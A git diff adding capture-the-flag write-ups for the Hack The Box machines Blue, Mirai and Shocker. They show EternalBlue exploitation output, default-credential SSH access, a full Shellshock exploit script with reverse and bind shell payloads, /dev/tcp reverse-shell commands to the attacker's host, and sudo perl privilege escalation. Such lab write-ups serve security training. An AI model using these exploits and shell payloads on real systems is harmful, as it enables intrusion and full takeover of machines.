10.10.14.48:4444 + [+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) + [*] 10.10.10.40:445 - Connecting to target for exploitation. + [+] 10.10.10.40:445 - Connection established for exploitation. + [+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply + [*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes) + [*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes + [*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv + [*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1 + [+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply + [*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations. + [*] 10.10.10.40:445 - Sending all but last fragment of exploit packet + w[*] 10.10.10.40:445 - Starting non-paged pool grooming + h[+] 10.10.10.40:445 - Sending SMBv2 buffers + o[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. + [*] 10.10.10.40:445 - Sending final SMBv2 buffers. + [*] 10.10.10.40:445 - Sending last fragment of exploit packet! + [*] 10.10.10.40:445 - Receiving response from exploit packet + [+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! + [*] 10.10.10.40:445 - Sending egg to corrupted connection. + [*] 10.10.10.40:445 - Triggering free of corrupted buffer. + [*] Command shell session 1 opened (10.10.14.48:4444 -> 10.10.10.40:49158) at 2019-11-15 21:59:26 +0100 + [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + + C:\Windows\system32>whoami + whoami + nt authority\system + + +It spawned us an elevated privilege shell ! Now all we have to do is to print out the user and root flags. + + + C:\Users\haris\Desktop>more user.txt + more user.txt + 4cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + C:\Users\Administrator\Desktop>more root.txt + more root.txt + ffXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/11_graph.png) + diff --git a/Easy/12.md b/Easy/12.md new file mode 100644 index 0000000..c8a8790 --- /dev/null +++ b/Easy/12.md @@ -0,0 +1,206 @@ +# Mirai Writeup + +![](img/12.png) + +## Introduction : + +Mirai is an easy linux box released back in September 2017. It features a misconfigured pi-hole service onto which the administrator seems to have deleted our precious root flag... + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [~] → nmap -sC -sV 10.10.10.48 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-15 22:18 CET + Nmap scan report for 10.10.10.48 + Host is up (0.058s latency). + Not shown: 997 closed ports + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) + | ssh-hostkey: + | 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA) + | 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA) + | 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA) + |_ 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519) + 53/tcp open domain dnsmasq 2.76 + | dns-nsid: + |_ bind.version: dnsmasq-2.76 + 80/tcp open http lighttpd 1.4.35 + |_http-server-header: lighttpd/1.4.35 + |_http-title: Site doesnt have a title (text/html; charset=UTF-8). + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 17.22 seconds + + +## **Part 2 : Getting User Access** + +Looking at our nmap results, we see that port 80 seems to be serving a lighthttp service. We could browse to the adress into our web browser, but for this example we will use the curl command. + + + λ nihilist [ 10.10.14.48/23 ] [~] → curl -vsk http://10.10.10.48/ + * Trying 10.10.10.48:80... + * TCP_NODELAY set + * Connected to 10.10.10.48 (10.10.10.48) port 80 (#0) + > GET / HTTP/1.1 + > Host: 10.10.10.48 + > User-Agent: curl/7.67.0 + > Accept: */* + > + * Mark bundle as not supporting multiuse + < HTTP/1.1 404 Not Found + < X-Pi-hole: A black hole for Internet advertisements. + < Content-type: text/html; charset=UTF-8 + < Content-Length: 0 + < Date: Fri, 15 Nov 2019 21:28:22 GMT + < Server: lighttpd/1.4.35 + < + * Connection #0 to host 10.10.10.48 left intact + + +We see that the box seems to be running a the Pi-Hole service, which is basically a DNS loophole to avoid getting ads. We can suppose that the box may have misconfigured his ssh, and perhaps left the default user and password. which could potentially be using th credentials **pi:raspberry** + + + λ nihilist [ 10.10.14.48/23 ] [~] → ssh pi@10.10.10.48 + pi@10.10.10.48's password: + Permission denied, please try again. + pi@10.10.10.48's password: + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc//copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + Last login: Sun Aug 27 14:47:50 2017 from localhost + + SSH is enabled and the default password for the 'pi' user has not been changed. + This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password. + + + SSH is enabled and the default password for the 'pi' user has not been changed. + This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password. + + pi@raspberrypi:~ $ whoami + pi + + pi@raspberrypi:~ $ uname -a + Linux raspberrypi 3.16.0-4-686-pae #1 SMP Debian 3.16.36-1+deb8u2 (2016-10-19) i686 GNU/Linux + + pi@raspberrypi:~ $ cat /home/pi/Desktop/user.txt + ff837707441b257a20e32199d7c8838d + + +Our assumptions have been confirmed, the box has left it's ssh service misconfigured, giving us a shell logged as the default user pi. Therefore allowing us to capture the user flag. + +## **Part 3 : Getting Root Access** + +In order to capture the root flag we will try to escalate privileges using the sudo -i command. + + + pi@raspberrypi:~ $ sudo -i + + SSH is enabled and the default password for the 'pi' user has not been changed. + This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password. + + + SSH is enabled and the default password for the 'pi' user has not been changed. + This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password. + + root@raspberrypi:~# whoami + root + root@raspberrypi:~# cat /root/root.txt + I lost my original root.txt! I think I may have a backup on my USB stick... + + +We have been able to escalate privileges ! However the root flag seems to be elsewhere on a supposed usb stick. Let's see which external drives are mounted using the **mount** command. + + + root@raspberrypi:~# mount + sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime) + proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) + tmpfs on /run type tmpfs (rw,nosuid,relatime,size=102396k,mode=755) + /dev/sda1 on /lib/live/mount/persistence/sda1 type iso9660 (ro,noatime) + /dev/loop0 on /lib/live/mount/rootfs/filesystem.squashfs type squashfs (ro,noatime) + tmpfs on /lib/live/mount/overlay type tmpfs (rw,relatime) + /dev/sda2 on /lib/live/mount/persistence/sda2 type ext4 (rw,noatime,data=ordered) + aufs on / type aufs (rw,noatime,si=f1429df6,noxino) + devtmpfs on /dev type devtmpfs (rw,nosuid,size=10240k,nr_inodes=58955,mode=755) + securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime) + tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev) + devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000) + tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k) + tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755) + cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd) + pstore on /sys/fs/pstore type pstore (rw,nosuid,nodev,noexec,relatime) + cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset) + cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct) + cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices) + cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer) + cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio) + cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio) + cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event) + systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=22,pgrp=1,timeout=300,minproto=5,maxproto=5,direct) + debugfs on /sys/kernel/debug type debugfs (rw,relatime) + hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime) + mqueue on /dev/mqueue type mqueue (rw,relatime) + tmpfs on /tmp type tmpfs (rw,nosuid,nodev,relatime) + + **/dev/sdb on /media/usbstick type ext4 (ro,nosuid,nodev,noexec,relatime,data=ordered)** + tmpfs on /run/user/999 type tmpfs (rw,nosuid,nodev,relatime,size=51200k,mode=700,uid=999,gid=997) + tmpfs on /run/user/1000 type tmpfs (rw,nosuid,nodev,relatime,size=51200k,mode=700,uid=1000,gid=1000) + + + +We seem to have a folder to work with : **/media/usbstick** + + + root@raspberrypi:~# cd /media/usbstick + root@raspberrypi:/media/usbstick# ls + damnit.txt lost+found + root@raspberrypi:/media/usbstick# cat damnit.txt + Damnit! Sorry man I accidentally deleted your files off the USB stick. + Do you know if there is any way to get them back? + + -James + + + +Yet another troll ! Although we do know that we are on the /dev/sdb partition, we will use the **strings** command to list the previous commands that happenned on /dev/sdb and hopefully find a way to get to the root flag. + + + root@raspberrypi:/media/usbstick# strings /dev/sdb + >r & + /media/usbstick + lost+found + root.txt + damnit.txt + >r & + >r & + /media/usbstick + lost+found + root.txt + damnit.txt + >r & + /media/usbstick + 2]8^ + lost+found + root.txt + damnit.txt + >r & + **3dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX** + Damnit! Sorry man I accidentally deleted your files off the USB stick. + Do you know if there is any way to get them back? + -James + + +And that's it ! We have finally found the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/12_graph.png) + diff --git a/Easy/13.md b/Easy/13.md new file mode 100644 index 0000000..f89b708 --- /dev/null +++ b/Easy/13.md @@ -0,0 +1,523 @@ +# Shocker Writeup + +![](img/13.png) + +## Introduction : + +Shocker is an easy Linux Box released back in September 2017. It features the well known shellshock vulnerability. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [~] → nmap 10.10.10.56 -sC -sV + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-16 10:12 CET + Nmap scan report for 10.10.10.56 + Host is up (0.065s latency). + Not shown: 998 closed ports + PORT STATE SERVICE VERSION + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Site doesnt have a title (text/html). + 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) + | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) + |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 9.43 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap result tells us that port 80 seems to be serving an Apache httpd 2.4.18 service, let's see if we can dig in a little more information... + + + λ nihilist [ 10.10.14.48/23 ] [~] → curl -vsk http://10.10.10.56/ + * Trying 10.10.10.56:80... + * TCP_NODELAY set + * Connected to 10.10.10.56 (10.10.10.56) port 80 (#0) + > GET / HTTP/1.1 + > Host: 10.10.10.56 + > User-Agent: curl/7.67.0 + > Accept: */ * + > + * Mark bundle as not supporting multiuse + < HTTP/1.1 200 OK + < Date: Sat, 16 Nov 2019 09:25:00 GMT + < Server: Apache/2.4.18 (Ubuntu) + < Last-Modified: Fri, 22 Sep 2017 20:01:19 GMT + < ETag: "89-559ccac257884" + < Accept-Ranges: bytes + < Content-Length: 137 + < Vary: Accept-Encoding + < Content-Type: text/html + < + <****!DOCTYPE html> <****html> <****body> <****h2>Dont Bug Me!** h2> + <****img src="bug.jpg" alt="bug" style="width:450px;height:350px;"> <****/body> <****/html> + * Connection #0 to host 10.10.10.56 left intact + +Looking at the results , the URL http://10.10.10.56/ doesnt seem to yield that much results. Let's run the dirbusting command **dirb** to try to find out which directories are being hosted by the httpd service. + + + λ nihilist [ 10.10.14.48/23 ] [~] → dirb http://10.10.10.56/ + + ----------------- + DIRB v2.22 + By The Dark Raver + ----------------- + + START_TIME: Sat Nov 16 10:23:02 2019 + URL_BASE: http://10.10.10.56/ + WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt + + ----------------- + + GENERATED WORDS: 4612 + + ---- Scanning URL: http://10.10.10.56/ ---- + + http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294) + + http://10.10.10.56/index.md (CODE:200|SIZE:137) + + http://10.10.10.56/server-status (CODE:403|SIZE:299) + + ----------------- + END_TIME: Sat Nov 16 10:26:12 2019 + DOWNLOADED: 4612 - FOUND: 3 + + +Dirbuster returned with 2 interesting results : /cgi-bin/ /server-status Although both of these seem to be returning the 403 Forbidden error. Let's see if we can find any good results within the /cgi-bin/ for example a .sh file, we will use dirbuster one more time using the common files txt wordlist. + + + λ root [ 10.10.14.48/23 ] [share/wordlists/dirb] → curl -vsk https://raw.githubusercontent.com/digination/dirbuster-ng/master/wordlists/common.txt > common.txt + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → dirb http://10.10.10.56/cgi-bin/ -w /usr/share/dirb/common.txt -X .sh + + ----------------- + DIRB v2.22 + By The Dark Raver + ----------------- + + START_TIME: Sat Nov 16 10:52:59 2019 + URL_BASE: http://10.10.10.56/cgi-bin/ + WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt + OPTION: Not Stoping on warning messages + EXTENSIONS_LIST: (.sh) | (.sh) [NUM = 1] + + ----------------- + + GENERATED WORDS: 4612 + + ---- Scanning URL: http://10.10.10.56/cgi-bin/ ---- + + http://10.10.10.56/cgi-bin/user.sh (CODE:200|SIZE:118) + + ----------------- + END_TIME: Sat Nov 16 10:56:07 2019 + DOWNLOADED: 4612 - FOUND: 1 + + +Dirbuster found the user.sh file within the /cgi-bin/ folder ! Let's download it using the **wget** command, and print out it's content. + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → wget http://10.10.10.56/cgi-bin/user.sh + --2019-11-16 10:56:29-- http://10.10.10.56/cgi-bin/user.sh + Connecting to 10.10.10.56:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: unspecified [text/x-sh] + Saving to: ‘user.sh’ + + user.sh [ <=> ] 118 --.-KB/s in 0.001s + + 2019-11-16 10:56:29 (195 KB/s) - ‘user.sh’ saved [118] + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → cat user.sh + Content-Type: text/plain + + Just an uptime test script + + 04:58:44 up 2:11, 0 users, load average: 0.01, 0.00, 0.00 + + + +This seems to ring a bell, this may in fact be the shellshock vulnerability ! We run a quick **searchsploit** to find which exploit number corresponds to the shellshock CVE. + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → searchsploit shellshock + ------------------------------------------------------------------------------ ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ------------------------------------------------------------------------------ ---------------------------------------- + Advantech Switch - 'Shellshock' Bash Environment Variable Command Injection ( | exploits/cgi/remote/38849.rb + **Apache mod_cgi - 'Shellshock' Remote Command Injection | exploits/linux/remote/34900.py** + Bash - 'Shellshock' Environment Variables Command Injection | exploits/linux/remote/34766.php + Bash CGI - 'Shellshock' Remote Command Injection (Metasploit) | exploits/cgi/webapps/34895.rb + Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shellshock) | exploits/hardware/remote/39568.py + GNU Bash - 'Shellshock' Environment Variable Command Injection | exploits/linux/remote/34765.txt + IPFire - 'Shellshock' Bash Environment Variable Command Injection (Metasploit | exploits/cgi/remote/39918.rb + NUUO NVRmini 2 3.0.8 - Remote Command Injection (Shellshock) | exploits/cgi/webapps/40213.txt + OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection | exploits/linux/remote/34879.txt + PHP < 5.6.2 - 'Shellshock' Safe Mode / Disable Functions Bypass / Command Inj | exploits/php/webapps/35146.txt + Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection | exploits/linux/remote/34896.py + RedStar 3.0 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection | exploits/linux/local/40938.py + Sun Secure Global Desktop and Oracle Global Desktop 4.61.915 - Command Inject | exploits/cgi/webapps/39887.txt + TrendMicro InterScan Web Security Virtual Appliance - 'Shellshock' Remote Com | exploits/hardware/remote/40619.py + dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock) | exploits/linux/remote/36933.py + ------------------------------------------------------------------------------ ---------------------------------------- + Shellcodes: No Result + + +Seems like the exploit n° 34900 corresponds to the box that we have, Apache, mod_cgi, Shellshock let's run a quick locate and cp command to copy the script onto our current directory for further inspection. + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → locate 34900.py + /usr/share/exploitdb/exploits/linux/remote/34900.py + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → cp /usr/share/exploitdb/exploits/linux/remote/34900.py . + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → nano 34900.py + + +Here is the official python script that we could be using : + + + #! /usr/bin/env python + from socket import * + from threading import Thread + import thread, time, httplib, urllib, sys + + stop = False + proxyhost = "" + proxyport = 0 + + def usage(): + print (""" + Usage : python2 exploit.py payload=reverse rhost= lhost= lport= pages=cgi-bin/user.sh + """) + sys.exit(0) + + def exploit(lhost,lport,rhost,rport,payload,pages): + headers = {"Cookie": payload, "Referer": payload} + + for page in pages: + if stop: + return + print ("[-] Trying exploit on : "+page) + if proxyhost != "": + c = httplib.HTTPConnection(proxyhost,proxyport) + c.request("GET","http://"+rhost+page,headers=headers) + res = c.getresponse() + else: + c = httplib.HTTPConnection(rhost) + c.request("GET",page,headers=headers) + res = c.getresponse() + if res.status == 404: + print( "[*] 404 on : "+page) + time.sleep(1) + args = {} + + + for arg in sys.argv[1:]: + ar = arg.split("=") + args[ar[0]] = ar[1] + try: + args['payload'] + except: + usage() + + if args['payload'] == 'reverse': + try: + lhost = args['lhost'] + lport = int(args['lport']) + rhost = args['rhost'] + payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &" + except: + usage() + + elif args['payload'] == "bind": + try: + rhost = args['rhost'] + rport = args['rport'] + payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'" + except: + usage() + else: + print( "[*] Unsupported payload") + usage() + try: + pages = args['pages'].split(",") + except: + pass + + if args['payload'] == 'reverse': + serversocket = socket(AF_INET, SOCK_STREAM) + buff = 1024 + addr = (lhost,lport) + serversocket.bind(addr) + serversocket.listen(10) + print ("[!] Started reverse shell handler") + thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,)) + if args['payload'] == 'bind': + serversocket = socket(AF_INET, SOCK_STREAM) + addr = (rhost,int(rport)) + thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,)) + + buff = 1024 + + while True: + if args['payload'] == 'reverse': + clientsocket, clientaddr = serversocket.accept() + print ("[!] Successfully exploited") + print ("[!] Incoming connection from "+clientaddr[0]) + stop = True + clientsocket.settimeout(3) + while True: + reply = raw_input(clientaddr[0]+"> ") + clientsocket.sendall(reply+"\n") + try: + data = clientsocket.recv(buff) + print (data) + except: + pass + + if args['payload'] == 'bind': + try: + serversocket = socket(AF_INET, SOCK_STREAM) + time.sleep(1) + serversocket.connect(addr) + print ("[!] Successfully exploited") + print ("[!] Connected to "+rhost) + stop = True + serversocket.settimeout(3) + while True: + reply = raw_input(rhost+"> ") + serversocket.sendall(reply+"\n") + data = serversocket.recv(buff) + print( data) + except: + pass + + +If we wanted to execute the aforementionned python script, we would follow the syntax given in the script itself : **python2 34900.py payload=reverse rhost= lhost= lport= pages=cgi-bin/user.sh** Although we will go for another, more elaborate alternative which has been developped by [ncc group](https://github.com/nccgroup/shocker). + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Shocker] → wget https://raw.githubusercontent.com/nccgroup/shocker/master/shocker.py + --2019-11-16 11:28:02-- https://raw.githubusercontent.com/nccgroup/shocker/master/shocker.py + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.120.133 + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.120.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 17942 (18K) [text/plain] + Saving to: ‘shocker.py’ + + shocker.py 100%[===================================================================================================>] 17.52K --.-KB/s in 0.02s + + 2019-11-16 11:28:02 (828 KB/s) - ‘shocker.py’ saved [17942/17942] + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Shocker] → python2 shocker.py + + .-. . . + ( )| | + `-. |--. .-. .-.|.-. .-. .--. + ( )| |( )( |-.'(.-' | + `-' ' `-`-' `-'' `-`--' v1.1 + + Tom Watson, tom.watson@nccgroup.trust + https://www.github.com/nccgroup/shocker + + Released under the GNU Affero General Public License + (https://www.gnu.org/licenses/agpl-3.0.html) + + + usage: shocker.py [-h] (--Host HOST | --file FILE) + [--cgilist CGILIST | --cgi CGI] [--port PORT] + [--command COMMAND] [--proxy PROXY] [--ssl] + [--threads THREADS] [--verbose] [--debug] + shocker.py: error: one of the arguments --Host/-H --file/-f is required + + +As you can see it seems to have a simpler syntax for us to use. Let's test our second python script onto our target and see if we get any results. We will use the -H , --command, -c and --verbose flags. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Shocker] → python2 shocker.py -H 10.10.10.56 --command "/bin/cat /etc/passwd" -c /cgi-bin/user.sh --verbose + + .-. . . + ( )| | + `-. |--. .-. .-.|.-. .-. .--. + ( )| |( )( |-.'(.-' | + `-' ' `-`-' `-'' `-`--' v1.1 + + Tom Watson, tom.watson@nccgroup.trust + https://www.github.com/nccgroup/shocker + + Released under the GNU Affero General Public License + (https://www.gnu.org/licenses/agpl-3.0.html) + + + [+] Single target '/cgi-bin/user.sh' being used + [+] Checking connectivity with target... + [I] Checking to see if 10.10.10.56 resolves... + [I] Resolved ok + [I] Checking to see if 10.10.10.56 is reachable on port 80... + [I] 10.10.10.56 seems reachable... + [+] Target was reachable + [+] Looking for vulnerabilities on 10.10.10.56:80 + [I] Starting thread 1 + [+] Finished host scan + [+] 1 potential target found, attempting exploits + [+] Trying exploit for http://10.10.10.56:80/cgi-bin/user.sh + [I] Flag set to: V74T37Z64S0NDC600N7U + [I] Header is: Content-type + [I] Attack string is: () { :;}; echo; echo V74T37Z64S0NDC600N7U; /bin/cat /etc/passwd + [!] http://10.10.10.56:80/cgi-bin/user.sh looks vulnerable + [!] Response returned was: + + root:x:0:0:root:/root:/bin/bash + daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin + bin:x:2:2:bin:/bin:/usr/sbin/nologin + sys:x:3:3:sys:/dev:/usr/sbin/nologin + sync:x:4:65534:sync:/bin:/bin/sync + games:x:5:60:games:/usr/games:/usr/sbin/nologin + man:x:6:12:man:/var/cache/man:/usr/sbin/nologin + lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin + mail:x:8:8:mail:/var/mail:/usr/sbin/nologin + news:x:9:9:news:/var/spool/news:/usr/sbin/nologin + uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin + proxy:x:13:13:proxy:/bin:/usr/sbin/nologin + www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin + backup:x:34:34:backup:/var/backups:/usr/sbin/nologin + list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin + irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin + gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin + nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin + systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false + systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false + systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false + systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false + syslog:x:104:108::/home/syslog:/bin/false + _apt:x:105:65534::/nonexistent:/bin/false + lxd:x:106:65534::/var/lib/lxd/:/bin/false + messagebus:x:107:111::/var/run/dbus:/bin/false + uuidd:x:108:112::/run/uuidd:/bin/false + dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false + sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin + shelly:x:1000:1000:shelly,,,:/home/shelly:/bin/bash + + [+] The following URLs appear to be exploitable: + [1] http://10.10.10.56:80/cgi-bin/user.sh + [+] Would you like to exploit further? + [>] Enter an URL number or 0 to exit: 0 + + +Our exploit worked ! we have been able to print out the contents of the /etc/passwd file. Now let's try to see if we can get a reverse shell connection on our 1337th port. We start by using the **netcat** command ready with the -lvnp flags to catch the incoming connection, within a second terminal. + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → nc -lvnp 1337 + + +Now all we have to do is use the previous shocker python script to tell the machine to send us a reverse shell connection on the correct port. + +_Terminal 1:_ + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Shocker] → python2 shocker.py -H 10.10.10.56 --command "/bin/bash -i > /dev/tcp/10.10.14.48/1337 0<&1 2>&1" -c /cgi-bin/user.sh --verbose + + .-. . . + ( )| | + `-. |--. .-. .-.|.-. .-. .--. + ( )| |( )( |-.'(.-' | + `-' ' `-`-' `-'' `-`--' v1.1 + + Tom Watson, tom.watson@nccgroup.trust + https://www.github.com/nccgroup/shocker + + Released under the GNU Affero General Public License + (https://www.gnu.org/licenses/agpl-3.0.html) + + + [+] Single target '/cgi-bin/user.sh' being used + [+] Checking connectivity with target... + [I] Checking to see if 10.10.10.56 resolves... + [I] Resolved ok + [I] Checking to see if 10.10.10.56 is reachable on port 80... + [I] 10.10.10.56 seems reachable... + [+] Target was reachable + [+] Looking for vulnerabilities on 10.10.10.56:80 + [I] Starting thread 1 + [+] Finished host scan + [+] 1 potential target found, attempting exploits + [+] Trying exploit for http://10.10.10.56:80/cgi-bin/user.sh + [I] Flag set to: ZS6W4FQLEFG9B7NYE0K9 + [I] Header is: Content-type + [I] Attack string is: () { :;}; echo; echo ZS6W4FQLEFG9B7NYE0K9; /bin/bash -i > /dev/tcp/10.10.14.48/1337 0<&1 2>&1 + [I] http://10.10.10.56:80/cgi-bin/user.sh - timed out + [-] Not vulnerable + [-] All exploit attempts failed + + +The script tells us that it seems to have failed, Although it seems like our second terminal recieved the connection through the 1337 port. + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → nc -lvnp 1337 + Connection from 10.10.10.56:38116 + bash: no job control in this shell + + shelly@Shocker:/usr/lib/cgi-bin$ whoami + shelly + + shelly@Shocker:/usr/lib/cgi-bin$ uname -a + uname -a + Linux Shocker 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux + + shelly@Shocker:/usr/lib/cgi-bin$ cat /home/shelly/user.txt + cat /home/shelly/user.txt + 2eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +That's how you get the user flag ! Now let's try to escalate privileges onto the box. + +## **Part 3 : Getting Root Access** + +First of all let's type the **sudo -l** command to see which commands could potentially be run as the root user. + + + shelly@Shocker:/usr/lib/cgi-bin$ sudo -l + sudo -l + + Matching Defaults entries for shelly on Shocker: + env_reset, mail_badpass, + secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User shelly may run the following commands on Shocker: + (root) NOPASSWD: /usr/bin/perl + + +Seems like the perl command can be run as root ! let's test it. + + + shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'exec "/bin/sh";' + sudo perl -e 'exec "/bin/sh";' + + whoami + root + + +And that's it ! we now have an elevated privilege shell as the root user. All that's left to do now is to print the root flag. + + + cat /root/root.txt + 52XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/13_graph.png) + diff --git a/Easy/14.md 